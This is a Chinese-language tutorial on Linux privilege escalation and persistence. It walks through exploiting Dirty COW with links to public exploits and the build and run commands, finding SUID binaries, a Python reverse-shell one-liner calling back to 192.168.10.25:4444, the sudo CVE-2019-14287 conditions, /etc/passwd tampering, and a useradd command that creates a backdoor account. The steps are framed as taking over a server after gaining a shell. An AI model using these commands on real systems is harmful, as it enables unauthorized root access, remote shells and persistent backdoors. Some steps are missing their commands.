linux提權與許可權維持
技術標籤:linux
一、Linux提權
1. 核心提權 之髒牛漏洞提權
髒牛漏洞,又叫Dirty COW,存在Linux核心中已經有長達9年的時間,在2007年釋出的Linux核心版本中就已經存在此漏洞。Linux kernel團隊在2016年10月18日已經對此進行了修復。
漏洞範圍:Linux核心 >= 2.6.22(2007年發行,到2016年10月18日才修復)
簡要分析:該漏洞具體為,Linux核心的記憶體子系統在處理寫入複製(copy-on-write, COW)時產生了競爭條件(race condition)。惡意使用者可利用此漏洞,來獲取高許可權,對只讀記憶體對映進行寫訪問。競爭條件,指的是任務執行順序異常,可導致應用崩潰,或令攻擊者有機可乘,進一步執行其他程式碼。利用這一漏洞,攻擊者可在其目標系統提升許可權,甚至可能獲得root許可權。
exp:
https://github.com/gbonacini/CVE-2016-5195
https://github.com/FireFart/dirtycow
過程:
- 使用
uname -a
命令檢視linux核心資訊,發現在髒牛漏洞範圍內,可以進行測試。 - 將exp一下載到本地,使用
gcc -pthread dirty.c -o dirty -lcrypt
命令對dirty.c進行編譯,生成一個dirty的可執行檔案。 -
行
./dirty
密碼
命令,即可進行提權。 -
此時使用上圖中的賬號密碼即可獲取root許可權。
2. suid提權
以下命令將嘗試查詢具有root許可權的SUID的檔案,不同系統適用於不同的命令,一個一個試
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm-4000-print2>/dev/null
find / -user root -perm-4000-exec ls -ldb {} \;
假如我們現在拿到了一個網站伺服器的shell,但是許可權是ubuntu,我們現在需要提權到 root 使用者許可權
find / -perm -u=s -type f 2>/dev/null
我們先看一下是否能用find命令以root許可權執行,發現確實可以以root許可權執行
/usr/bin/find examples.desktop -exec whoami \;
於是我們以root使用者的身份利用python反彈shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#反彈一個sh型別的shell
3. sudo提權
漏洞背景
2019年10月14日, sudo 官方在釋出了CVE-2019-14287的漏洞預警。
sudo 是所有 unix作業系統(BSD, MacOS, GNU/Linux) 基本整合的一個使用者許可權控制/切換程式。允許管理員控制伺服器下使用者能夠切換的使用者許可權。
CVE-2019-14287是管理員在配置檔案中用了ALL關鍵詞後造成的。但預設的sudo配置檔案不受影響。
漏洞影響版本
sudo < 1.8.28
利用條件
- sudo的版本號<1.8.28
- 知道當前使用者的密碼
- 當前使用者存在於sudo許可權列表
-
當 /etc/sudoers 檔案存在如下形式的配置會導致漏洞的產生
hack ALL=(ALL, !root) ALL
4. 錯誤配置提權
首先,檢視 /etc/passwd的許可權,檢視是否有寫入許可權
使用perl語言生成帶有鹽值的密碼
然後執行下面這條命令,成功將test使用者的資訊加入 /etc/passwd檔案
以使用者名稱 test 密碼 [email protected] 通過ssh登入該主機
二、Linux許可權維持
建立後門賬戶
useradd -p `openssl passwd -1 -salt ‘salt’ 123456` guest